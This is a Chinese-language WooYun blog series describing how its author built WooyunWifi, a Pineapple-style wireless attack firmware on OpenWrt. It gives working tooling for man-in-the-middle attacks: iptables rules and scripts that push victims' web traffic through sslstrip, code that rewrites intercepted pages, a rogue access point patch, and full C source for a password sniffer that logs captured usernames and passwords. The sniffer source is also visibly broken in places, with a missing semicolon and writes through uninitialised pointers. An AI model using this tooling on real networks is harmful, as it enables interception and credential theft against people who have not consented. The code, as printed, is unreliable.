WooYun WIFI 成長史
第一章:失傳的菠蘿神話
0x00 前言:
WooyunWifi是一款基於Openwrt開發的無線審計測試韌體,內建整合了眾多著名無線/網路審計工具,並基於Ngrep+sslstrip開發了原創工具及BS架構管理介面。 本系列文章將詳細講解 無線安全、網路安全、嵌入式開發、前端Bootstrap介面設計、後臺PHP程式設計、Shell Script編寫、C語言有限自動機設計、Python網路程式設計、Linux高階命令、路由器常識概念 等相關內容
本章概括了WooyunWifi的技術架構以及功能實現理論。
0x01 菠蘿神話:
由於wifi pineapple支援的路由器有限(事實上除了它自己銷售的那一款,其他的路由器都沒辦法完全正常執行),因此網上出現了各種“移植”的教程,只為一睹神器真容,然而多數人最終失敗,少數人在付出了巨大代價後才勉強成功。 Wifi pineapple自稱開源,但事實上並非如此,其公開的原始碼陳舊而混亂,也沒有充足的文件以供分析。 菠蘿神話已經失傳,只剩國外壟斷銷售的駭客路由器與一群心懷不軌的購買者,技術研究的氣氛 和 自由公開的精神 早已不見了蹤影。 如果你真的好奇大菠蘿到底是怎樣實現的,如果你真的想看到確鑿的技術細節,那麼跟我來體驗一把求真求實、自由共享的烏雲白帽“安全實踐”吧 注:根據有關法律法規,我們正在仔細評估並設計該韌體的”安全使用”限制,儘管遵守GPL協議,在”安全使用”評估設計完成之前不會公開原始碼,也不會向公眾釋出韌體。
0x02 架構設計:
先展示一下WooyunWifi的架構圖(Wooyun Wifi簡稱Woofi):
1、 PHP+Bootstrap的組合大家已經在烏雲靶場專案中見過了,不過由於路由器環境限制和開源工具資料儲存特性,經過考慮不使用Mysql資料庫儲存資料,直接使用文字方式儲存資料內容。
2、 資料處理則考慮到路由器效能問題(大量實時資料包處理)採用C語言自動機實現
3、 使用Shell程式設計簡化了一些控制配置,fate0修復了一個sslstrip的官方bug
簡而言之,工作流程是這樣的:使用者登入192.168.16.2
,看到uhttpd上的index首頁,然後後臺PHP處理使用者的操作,呼叫了一些輔助性Shell script
,然後比如控制把ngrep抓到的資料實時交給WoofiTools中的mailsniff做資料處理,然後結果以文字形式儲存。PHP把文字儲存的資料讀取處理,結合uhttpd返回給使用者頁面。
如果接下來各種程式設計我都是一句話帶過然後瘋狂貼程式碼,那麼這篇文章也和那些炫耀貼毫無區別了,並無冒犯之意,我也從很多“一句話輕描淡寫”部落格中學習了很多知識,只不過由於文章細節不清,BUG和失敗的次數令我覺得難以忍受……所以,接下來我不僅要告訴大家我是怎樣實現的程式,而且要告訴大家我為什麼要這樣寫程式。
0x03 實現方案的演變:
在我還沒有開始設計之前,我考慮過幾種實現方案
1、 基於大菠蘿二次開發,修改程式碼重新編譯到其他路由器上。這個當時是我的首選方案,直到我發現大菠蘿根本沒有完全公開原始碼,因此徹底不可行
2、 整合開源軟體,做開源軟體的WEB UI和各種前提配置。當時覺得這樣完全不比大菠蘿二次開發複雜,直到我發現很多開源軟體年久失修BUG成群,能修復的儘量修復,修不好的只能重新開發了。
3、 整合各種必要的library,自己從頭開發功能程式,這樣很明顯會有重複造輪子的浪費,不過由於發現有些開源軟體無法正常使用,因此也是沒辦法的選擇,當然我也會把那些能夠使用的開源軟體加以利用
於是,本想著改改大菠蘿程式碼就可以了,結果變成了重新整合開源軟體做 WEB UI 於是,本想著重新整合開源軟體做 WEB UI就可以了,結果需要部分底層工具重新開發
發生這種情況一方面是由於預研不到位,以及SE對技術難度的預判有誤,而導致專案規劃和實際執行嚴重錯位,這麼巨大的技術難度偏差很可能導致專案流產。 那麼這個專案是怎麼來的呢?那就要從2014/7/30的下午說起……
社群裡小夥伴發了個思想無比前衛的帖子:Anymous《設想wooyun智慧路由改造openwrt》 [email protected],瞌睡龍大人把這個光榮的任務交給了我,我當時想了一下答道:“如果只是改改大菠蘿原始碼,不會很難” 事實證明,我在沒有預研的情況下錯判了專案技術難度,看來還有好多的東西要學~
感想:
越是看上去簡單的事情,做起來就越複雜。事情即使再複雜,只要做完了就會變得簡單
0x04 工具原理:
1、 嗅探使用ngrep+自己寫的C語言自動機,以及sslstrip+自己寫的C語言自動機
2、 MITM系列功能使用二次開發過的sslstrip來實現
3、 無線審計開源工具不用修改,直接做WEB UI就可以了(我又錯了,karma把我擊敗了)
4、 Karma(未完成)透過建立AP並給任意ssid的請求進行響應和服務,達到劫持的目的
Karma原理詳解:
首先Karma需要建立一個能夠用來劫持使用者的AP(比如說利用hostapd),然後對hostapd原始碼進行patch,使之可以無視請求中的ssid提供服務
(預設情況下,若ssid不一致,hostapd會報告異常,因此為了實現karma功能需要hostapd去除ssid檢查)
部分重要patch如下:
即如果karma_beacon_respond選項開啟則無視ssid的檢查,補丁原作者在截圖中有顯示,我只是把他的針對hostapd 2.0補丁重新做到了hostapd最新版20140603上而已
PS:製作補丁/使用補丁的方式請參見http://wiki.openwrt.org/doc/devel/patches
再PS:在refresh之後一定要記住把生成好的補丁複製出來備份,因為接下來的步驟會把補丁打進原始碼而刪除原補丁檔案!!!
而karma本身程式的執行邏輯是: 首先迴圈抓無線訊號幀(使用了airtap),然後每次抓到訊號幀都呼叫on_probe_request處理,在函式里面首先建立一個連結串列儲存請求的station資訊,之後傳送響應訊號幀
可惜我沒有成功跑起karma主程式,因為airtap呼叫了libpcap卻找不到對應的datalink decoder,暫時找不到解決方案
我曾經以為我熟悉這些工具的原理,直到開發過程中(以後文章詳解)遇到各種問題,才發現要真正的熟悉原理,不僅要知道工具做了什麼,而且要知道工具為什麼這麼做。
0x05 Luci的簡要分析:
我們使用Openwrt自己的Luci進行常規功能的管理,因為Luci自己的功能其實是很強大的。我曾經一度想要在Luci之上開發我們的WooyunWifi WEB介面,但是由於cgi和lua指令碼都比較陌生,所以為了敏捷開發,還是選擇了PHP 請注意:部分Openwrt版本的Luci不支援網路中繼功能(就是作為client連線一個Wifi然後再作為AP播出一個Wifi),我選擇的最新barrier_breaker是有這個功能的 另外,Luci依賴uhttpd,因此正好PHP也放在uhttpd上了
對了,不要自己亂改/etc/config/wireless
配置,因為Luci會出BUG
0x06 投影至烏雲峰會irc上:
這個是臨時功能,為了烏雲峰會設計的,從各種sniff中posturl到服務端,然後fate0在瞌睡龍大人的weechat裡做了個python外掛,我只是post資料,沒有實際參與,因此不知道相關細節。 展示出的程式碼中沒有該功能
第二章:路由器的先天技能
0x00 前言:
本章概括了WooyunWifi基於Openwrt的原始碼編譯及整合方式。
0x01 編譯Openwrt:
我使用的是Ubuntu麒麟14.04:
首先要看官方文件,而不是胡亂百度 http://wiki.openwrt.org/doc/howto/easy.build
官方文件中的這一句
svn co -r 36088 svn://svn.openwrt.org/openwrt/branches/attitude_adjustment
是檢出36088版的attitude_adjustment分支原始碼,最新版是trunk,新功能多,支援的晶片多,但是穩定的軟體包少。為了支援極路由,我選擇的是最新版barrier_breaker分支,不要忘記去掉-r 36088以檢出最新版本的原始碼。
svn co svn://svn.openwrt.org/openwrt/branches/barrier_breaker
官方文件中的這一句:
./scripts/feeds update –a
可能會因為國內偶爾連不上googlecode而失敗,如果你不需要那些在googlecode上的軟體包,你可以無視失敗資訊進行
./scripts/feeds install -a
(因為會報告index問題,所以要加-a) 如果正好googlecode上放的是你需要的軟體包,請自行尋找連線google的方式吧
然後
~/20140818/barrier_breaker$ make menuconfig
進行配置
第一項是目標晶片型號,不知道自己路由器晶片型號的Google去吧,第二項選項是NAND什麼的設定視情況選擇,第三項是你的路由器型號,我這裡選擇了極路由,只有在選對了晶片型別後才會可選,其它選項都比較易懂,如果用到再說
選擇編譯的軟體包時,星號代表編譯進韌體,M代表編譯安裝包但不放進韌體,內建某些軟體包時會自動選中依賴項
Q:為什麼選項裡沒有我要的軟體包?
A:可能你沒feeds update install,也可能是你svn檢出的版本不對
然後就是儲存
make V=s
有很多人喜歡 j4多執行緒編譯,如果你是第一次編譯,強烈建議你不要這樣做,因為你一旦遇到錯誤輸出的東西比較混亂,查日誌很麻煩 然後就是遇到連線錯誤,重新make V=s
,還是連線不上,那就和想辦法上國外網站同一個道理,如果校驗出錯,刪掉dl資料夾下的錯誤檔案重新 make V=s,視報錯針對性解決
如果編譯完成,會在
bin/晶片型號/
下面出現編譯好的韌體 比如:openwrt-ar71xx-generic-hiwifi-hc6361-squashfs-sysupgrade.bin
這就是squashfs的極路由韌體
再比如:openwrt-ar71xx-generic-wndr3800-squashfs-factory.img
這就是squashfs的netgear wndr3800 韌體
刷機方法一般可用路由器後臺介面上傳韌體刷機,也可根據說明書使用TFTP刷機,如果有經驗也可以線刷
0x02 開源工具的評測:
1、 Ngrep:之所以不使用tcpdump是因為ngrep提供了更簡便的資料處理和輸出,執行時很穩定,用它開發了cookiesniff、passsniff、mailsniff等工具
2、 Dsniff:密碼嗅探不理想,安裝它是為了其中的urlsnarf等工具,相對而言還是自己開發的ngrep+各種sniff不丟包更穩定,話說Http的密碼它根本嗅探不到啊,不知道是不是我配置的問題。
3、 SSlstrip:官方版本就存在著BUG,不能執行,多虧fate0挺身而出修復了這個BUG,於是我們的Mitm也可以基於sslstrip設計了
4、 Ettercap:由於Openwrt官方自帶的版本過度古老,因此BUG很多(各種網上已知的bug),不適合做二次開發,因此只整合不做WEB UI。
5、 Karma:不能夠正常使用,需要大量修改(暫未完成)
6、 Aircrack-ng:還沒測試
7、 Reaver:還沒測試
0x03 fate0修復sslstrip:
使用sslstrip的時候報錯:
exceptions.AttributeError: ClientRequest instance has no attribute 'responseHeaders'
fate0透過對sslstrip原始碼的檢查,發現了sslstrip整合的twisted版本過於古老,因此建議我更新twisted,但是我發現新版本的twisted容量太大,整合到路由器上不現實,因此Openwrt才會一直整合古老版本的twisted(而且發現它還是縮水的)。
於是只好求fate0改sslstrip程式碼,fate0除錯之後發現了問題所在:
ServerConnection.py
elif (key.lower() == 'set-cookie'):
#import pdb
#pdb.set_trace()
#self.client.responseHeaders.addRawHeader(key, value)
self.client.setHeader("test_key", "test_value")
#self.client.setHeader(key, value)
self.client.cookies.append(value)
else:
self.client.setHeader(key, value)
由於#self.client.responseHeaders.addRawHeader(key, value)
這一句沒有responseHeaders,因此造成exception
那麼,sslstrip這樣設計的目的是什麼呢?我們知道,set-cookie可能會有很多個,而self.client.setHeader(key, value)
會毫不猶豫地覆蓋掉之前的set-cookie,因此這段程式碼的目的是addRawHeader實現多個set-cookie header
因此,fate0用self.client.cookies.append(value)
實現了這一功能,修復完畢
0x04 製作修復後的sslstrip軟體包:
修改sslstrip的Makefile,改為從本地下載(我搭了個nginx),別忘改md5校驗哦
然後把修復後的ServerConnection.py打進壓縮包,放在自己nginx即可
0x05 製作自己的軟體包:
請優先參閱官方文件
例:package/wooyun/wooyunwifi/Makefile
#
# Copyright (C) 2011-2012 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#
include $(TOPDIR)/rules.mk
PKG_NAME:=wooyunwifi
PKG_RELEASE:=1
include $(INCLUDE_DIR)/package.mk
define Package/wooyunwifi
SECTION:=wooyun
CATEGORY:=wooyunwifi
TITLE:=wooyunwifi
MAINTAINER:=lxj616
endef
define Package/wooyunwifi/description
Wooyun Wifi is a whitehat wifi auditing toolsuite based
on Openwrt , Have fun testing security issues on your
own wifi network ,serves study purpose only, license GPL
------ [email protected]
endef
define Build/Prepare
$(INSTALL_DIR) $(PKG_BUILD_DIR)
把src裡面的原始檔複製到build地點(不然編譯時找不到)
$(INSTALL_DATA) ./src/cookiesniff.c $(PKG_BUILD_DIR)/
$(INSTALL_DATA) ./src/passsniff.c $(PKG_BUILD_DIR)/
$(INSTALL_DATA) ./src/mailsniff.c $(PKG_BUILD_DIR)/
$(INSTALL_DATA) ./src/stripsslstrip.c $(PKG_BUILD_DIR)/
把不需要編譯的資料夾和檔案也複製過去
$(CP) ./WooyunWifi $(PKG_BUILD_DIR)/
$(CP) ./index.html $(PKG_BUILD_DIR)/
$(CP) ./conf $(PKG_BUILD_DIR)/
endef
define Build/Compile
編譯原始檔,如果之前沒複製這步就找不到,用的是交叉編譯
$(TARGET_CC) $(TARGET_CFLAGS) -Wall \
-o $(PKG_BUILD_DIR)/cookiesniff $(PKG_BUILD_DIR)/cookiesniff.c
$(TARGET_CC) $(TARGET_CFLAGS) -Wall \
-o $(PKG_BUILD_DIR)/passsniff $(PKG_BUILD_DIR)/passsniff.c
$(TARGET_CC) $(TARGET_CFLAGS) -Wall \
-o $(PKG_BUILD_DIR)/mailsniff $(PKG_BUILD_DIR)/mailsniff.c
$(TARGET_CC) $(TARGET_CFLAGS) -Wall \
-o $(PKG_BUILD_DIR)/stripsslstrip $(PKG_BUILD_DIR)/stripsslstrip.c
endef
define Package/wooyunwifi/install
新建資料夾準備複製
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_DIR) $(1)/etc/wooyunwifi
複製編譯好的檔案到可以執行的地方
$(INSTALL_BIN) $(PKG_BUILD_DIR)/cookiesniff $(1)/usr/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/passsniff $(1)/usr/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/mailsniff $(1)/usr/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/stripsslstrip $(1)/usr/bin/
$(INSTALL_DIR) $(1)/www
直接複製各種檔案
$(CP) $(PKG_BUILD_DIR)/WooyunWifi $(1)/www
$(CP) $(PKG_BUILD_DIR)/index.html $(1)/www
$(CP) $(PKG_BUILD_DIR)/conf/basepath.conf $(1)/etc/wooyunwifi
endef
$(eval $(call BuildPackage,wooyunwifi))
然後再make menuconfig
就可以看到自己的軟體包了,然後正常編譯即可,如果報錯注意修改軟體包配置
第三章:路由器的漂亮介面
0x00 前言:
本章概括了WooyunWifi的WEB端功能實現。
0x01 PHP:
我曾經考慮,可不可以只用html+cgi實現所有的功能,但考慮到WEB管理的業務需求比較寬鬆,因此採用PHP敏捷開發更加快速。 Menuconfig時,額外選擇language – PHP – php-mod-session
用作登入控制,同理可整合其它所需外掛 為了使uhttpd支援PHP,修改package/network/services/uhttpd/files/uhttpd.config
去掉list interpreter php
的註釋符號,其它配置同理
以sslstrip外掛的設計為例進行說明
/WooyunWifi/sslstrip.inc
$ison=shell_exec("ps|awk '{print $6}'|grep sslstrip");
在PHP中隨時使用shell_exec
和exec
執行linux命令獲取工具狀態,並且判斷顯示開關的狀態,之後就是常規的PHP程式設計了
不過在設計中出現了一個小問題,那就是一些命令比如說ngrep在執行時會掛在那裡持續執行,這就導致PHP指令碼無法繼續執行,比較奇怪的是nohup &在php裡面沒有效果,只有先用PHP sh ***.sh
,然後在shell 指令碼中才會正常後臺執行,因此:
sson.php
<script>
var xmlhttp;
xmlhttp=new XMLHttpRequest();
<?php
echo 'xmlhttp.open("GET","sslstripon.php",true)';
?>
xmlhttp.send();
var t=setTimeout("window.location.href=\"/WooyunWifi/index.php?action=sslstrip\";",1000);
</script>
先非同步請求,然後等待1s跳轉回去(解決後面500 bad gateway問題)
sslstripon.php
shell_exec("./test2.sh ".$basepath."&");
接到請求,執行shell指令碼(還是會掛在這裡不能繼續執行)
Test2.sh
#!/bin/sh
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
echo "1" > ${1}/sslstrip.log
sslstrip -w ${1}/sslstrip.log -l 10000 &
tail -f ${1}/sslstrip.log|stripsslstrip &
kill $(ps|grep "php-cgi"|awk '{print $1}') &
結束掉php-cgi的程式,因為uhttpd是一個單執行緒伺服器,因此php-cgi掛在那裡就會導致伺服器無響應,kill掉之後伺服器才能響應其他請求。
所以流程是這樣的:
1、 使用者開啟頁面
2、 PHP執行shell命令,判斷sslstrip是否正在執行,如果不是,返回“啟動”按鈕
3、 使用者點選啟動按鈕
4、 到sson.php中非同步請求sslstripon.php,然後……
5、 sslstripon.php呼叫test2.sh,後臺執行sslstrip,然後test2.sh
kill掉php-cgi
,於是sslstripon.php執行完畢(返回500 bad gateway),但是使用者在sson.php中等待1s後返回主介面了,所以看不到500錯誤
繞了個圈解決了單執行緒伺服器的阻塞問題,不過這樣看來軟體架構怪怪的,先實現功能再說,以後再改進吧
大家可能會有這樣的疑問: 你在PHP中執行shell命令時難道不是www-data許可權嗎? 如何執行tcpdump之類的高許可權程式呢?
其實我之前也特地設計了用sudoer解決許可權問題的方案,只不過後來我發現(個人猜測),Openwrt這類的嵌入式系統許可權和使用者組並不嚴格,直接就是root執行一切程式了
0x02 Bootstrap前端設計:
線上畫了個框架,然後放在路由器上一邊vi一邊重新整理瀏覽器
0x03 MITM功能設計:
因為這個功能主要是在應用層實現的,而且和WEB相關協議聯絡比較密切,所以放在WEB層來探討這個問題。 首先我們來分析一下解決這個功能的可選方案:
1、 在傳輸層使用transparent proxy做MITM資料包擷取/修改 2、 在應用層使用HTTP雙向通訊模型做MITM內容擷取/修改
剛開始的思路是做一個transparent proxy
,但是發現由於資料包分段以及gzip格式傳輸,導致傳輸層做HTTP內容注入比較複雜,而且其他協議的資料包又不具備通用性的MITM介入方式,因此綜合看來還是做應用層HTTP協議的雙向通訊模型比較簡便。
而我們知道,SSlstrip就是基於這種應用層雙向通訊模型構建的,我們可以借用SSlstrip的程式碼進行改造
ServerConnection.py
def replaceSecureLinks(self, data):
iterator = re.finditer(ServerConnection.urlExpression, data)
for match in iterator:
url = match.group()
logging.debug("Found secure reference: " + url)
url = url.replace('https://', 'http://', 1)
url = url.replace('&', '&')
self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
#在這裡對data進行處理,即可完成MITM介入
#這個函式本來的功能是替換https為http普通連結
#在此之前已經完成了對gzip的解壓,以及建立了雙向連線
replaceconfig=os.popen('cat /etc/wooyunwifi/replace.conf').readlines()
data = data.replace(replaceconfig[0].strip(),replaceconfig[1].strip())
#其實就兩句話,看上去很簡單,哈
return re.sub(ServerConnection.urlType, 'http://', data)
再做個WEB頁面 至此,MITM設計完畢
感想:寫一句程式碼只需要一分鐘,但知道這行程式碼寫在哪需要一天
既然WEB控制端設計好了,開始做model層的資料處理工具吧!
第四章:路由器的資料處理
0x00 前言:
本章概括了WooyunWifi的model層資料處理功能實現。
0x01 交叉編譯:
我們在本地編譯一個Linux程式:
gcc -o mailsniff mailsniff.c
./mailsniff.c
在本地可以正常執行
而我們要編譯一個在路由器上可以執行的程式,又不能給路由器安裝gcc,那怎麼辦呢?
我們採取交叉編譯在本地編譯路由器中的程式:
./barrier_breaker/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc -o mailsniff mailsniff.c
這裡的交叉編譯工具鏈跟你的路由器晶片型號有關,需要你先選擇toolchains編譯make V=s後才會出現,當然你也可以從downloads.openwrt.org直接下載對應晶片型號的toolchains
如何製作軟體包整合進韌體在第二章介紹,此處不再贅述
0x02 資料互動:
例項說明:
echo "1" > ${1}/sslstrip.log
將echo的結果寫入檔案(basepath從外部PHP呼叫傳入)
ngrep -l -q -W byline -d $1 port 110 or 143 or 25|mailsniff
將ngrep的stdout接到mailsniff的stdin上(device從外部PHP呼叫傳入)
注意:這裡的ngrep -l 選項是為了使ngrep的stdout以行為單位緩衝,避免由於資料緩衝導致的資料不及時同步問題
而sslstrip本身是輸出一個log檔案
sslstrip -w ${1}/sslstrip.log -l 10000 &
tail -f ${1}/sslstrip.log|stripsslstrip &
使用tail就可以實現實時輸出
0x03 自動機設計:
以passsniff為例介紹C語言自動機設計:
/*
code by [email protected]
*/
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
//Openwrt預設許可權可以讀寫etc下檔案
void get_basepath(char *basepath)
{
FILE *fp1;
fp1 = fopen("/etc/wooyunwifi/basepath.conf","r");
fscanf(fp1,"%s",basepath);
fclose(fp1);
}
//解析URL中使用者名稱和密碼
void strip_pass(char *basepath,char *buffer,char *host)
{
int i;
int flag=0;
char *user;
char *pass;
user=strstr(buffer,"user");
pass=strstr(buffer,"pass");
if(user&&pass)
{
user=strstr(user,"=")+1;
pass=strstr(pass,"=")+1;
for(i=0;user[i]!='\0'&&flag==0;i++)
{
if(user[i]=='&')
{
user[i]='\0';
flag=1;
}
}
flag=0;
for(i=0;pass[i]!='\0'&&flag==0;i++)
{
if(pass[i]=='&')
{
pass[i]='\0';
flag=1;
}
}
}
else
{
strcpy(user,"unknown"); strcpy(pass,"unknown"); } update_log(basepath,host,user,pass); }
//寫文字檔案儲存資訊
void writeLog(char *path,char *user,char *pass)
{
FILE *fp = fopen(path,"a");
fputs("\r\n",fp);
fputs(user,fp);
fputs("\r\n",fp)
fputs(pass,fp);
fputs("\r\n",fp);
fflush(stdout);
fclose(fp);
}
//寫檔案,以host命名,因為是直接讀的Host: ***.com,因此去掉前面的字首
void update_log(char *basepath,char *host,char *user,char *pass)
{
char tmppath[1629];
strcpy(tmppath,basepath);
strcat(tmppath,"/passdump/");
writeLog(strcat(tmppath,host+6),user,pass);
}
int main()
{
char basepath2[128];
char basepath[128];
char buffer[1629]="0";
char pass[1629]="0";
char pass2[1629]="0";
char host[1629]="0";
char host2[1629]="0";
int flag=0;
char mkdir[128]="mkdir ";
get_basepath(basepath);
strcat(mkdir,basepath);
strcat(mkdir,"/passdump");
//先保證存在儲存的資料夾
system(mkdir);
while(1)
{
fgets(buffer,1628,stdin);
//如果是空行,代表一個資料包結束 或者 緊接著POST內容
if(strcmp(buffer,"\n")==0)
{
//已經出現了記錄?寫檔案然後清空當前密碼記錄
if((strcmp(host,"0")!=0)&&(strcmp(pass,"0")!=0))
{
//幹掉referer,免得一個密碼記錄好多次
if(!strstr(pass,"Referer:"))
{
strip_pass(basepath,pass,host);
printf("\n\n");
}
strcpy(pass,"0");
}
}
else if(strstr(buffer,"Host:"))
{
//去掉0x0a和0x0d
buffer[strlen(buffer)-2]='\0';
strcpy(host,buffer);
}
else if(strstr(buffer,"user")&&strstr(buffer,"pass"))
{
//去掉0x0a和0x0d
buffer[strlen(buffer)-2]='\0';
strcpy(pass,buffer);
}
//buffer[strlen(buffer)-2]='\0';
}
return 0;
}
概括起來我們的自動機做了以下事情:
1、 Ngrep嗅探PHP指定的device資料包,篩選80埠HTTP請求,然後把stdout轉接到我們的自動機stdin上 2、 C語言自動機不斷按行讀取stdin中的輸入,不停檢測密碼資訊以及Host資訊,但資料包結束後,判斷是否截獲密碼資訊,如果是,追加寫入文字記錄檔案 3、 自動機本身不會停止工作,必須依靠PHP+Shellscript來外部kill掉
0x04 為什麼不用python:
字元處理,還是python方便,但是我們真的很需要“效率”,無論是從記憶體佔用還是資料包延遲來說,C語言仍然佔據了不可替代的優勢(其實也沒那麼懸殊,只不過自動機程式比較簡單,因此對C熟練的話不會很吃力) 還有一個重要的原因是:當初我以為會涉及到kernel的資料包修改,後來寫完自動機才發現原來想多了,所以C語言反倒只用來寫了幾個自動機,唉……
0x05 使用iptables重定向流量
例:
iptables -t nat -A PREROUTING -s 192.168.16.249 -p tcp --dport 80 -j DNAT --to-destination 192.168.16.134:8029
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 80 -j MASQUERADE
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 8029 -j MASQUERADE
由此一方面可以將流量重定向到自己的proxy上(是transparrent proxy),也可以直接轉發到其他ip(如burpsuite)
至此,WooyunWifi設計完成,大家可能會覺得“哇,還是很簡單的嘛”,如果大家真的打算試一下全過程,請務必要看《WooyunWifi 第五章:十萬個變磚方法》
相關文章
- Android成長史–資料資訊圖2013-04-23Android
- 一個格子衫女孩的成長史——面試篇2022-03-23面試
- 一個 SAP 開發工程師的成長史2022-11-05工程師
- 一個外國人眼中的蘋果中國成長史2015-03-22蘋果
- Web前端發展史(自我成長技術路線圖)2019-12-10Web前端
- JVM系列(一) -淺談虛擬機器的成長史2024-07-23JVM虛擬機
- 遊戲主程成長史:《倩女幽魂》徐海東痴與不痴2018-07-24遊戲
- 原生鴻蒙的成長史中,書寫著無數鴻蒙先鋒的故事2024-06-24鴻蒙
- 成長心得2024-07-16
- 支付與WIFI深度結合,微火成共享wifi裡一匹黑馬2022-07-13WiFi
- 遊戲分發平臺之戰(上):霸主Steam與新軍Epic的成長史2020-05-27遊戲
- 遊戲論·歷史的維度丨韓國網路遊戲的登場與成長2020-01-07遊戲
- 《驚鴻一瞥》對話中興通訊5G,揭秘GoldenDB的成長史2022-08-01Go
- 使用 flask 構建我的 wooyun 漏洞知識庫2020-07-23Flask
- WooYun-2016-1994332024-05-23
- PHP開發者成長圖2018-04-25PHP
- 年終總結 - 成長2016-12-30
- Google新人的成長思考2019-02-28Go
- 「Golang成長之路」面向“物件”2021-06-19Golang物件
- 「Golang成長之路」面向介面2021-07-10Golang
- 技術之外的成長2018-10-07
- 在專案中成長2013-10-24
- JK的CS成長記2024-08-29
- SQL Server中如何找到歷史增長資訊2014-09-24SQLServer
- 蘋果Macbook Pro更新 哪些產品成為歷史?2016-12-01蘋果Mac
- 高度整合智慧家居物聯網閘道器WiFi通訊應用的無線路由模組:模小塊成長記2020-10-17WiFi路由
- 技術人如何自我成長?2020-07-06
- 我的Python成長之路2021-09-09Python
- 「Golang成長之路」內建容器2021-06-02Golang
- 「Golang成長之路」面向介面篇2021-07-10Golang
- 同學Linux,同成長2021-02-25Linux
- 初創公司CTO成長指南2023-04-03
- 【年終總結--我的成長】2018-02-28
- 前端菜雞的成長之路2018-03-23前端
- 技術的成長曲線2017-04-10
- 菜鳥成長系列-策略模式2018-05-05模式
- 核心菜鳥的成長之路2016-12-31
- Webpack 達人的成長之路2017-11-29Web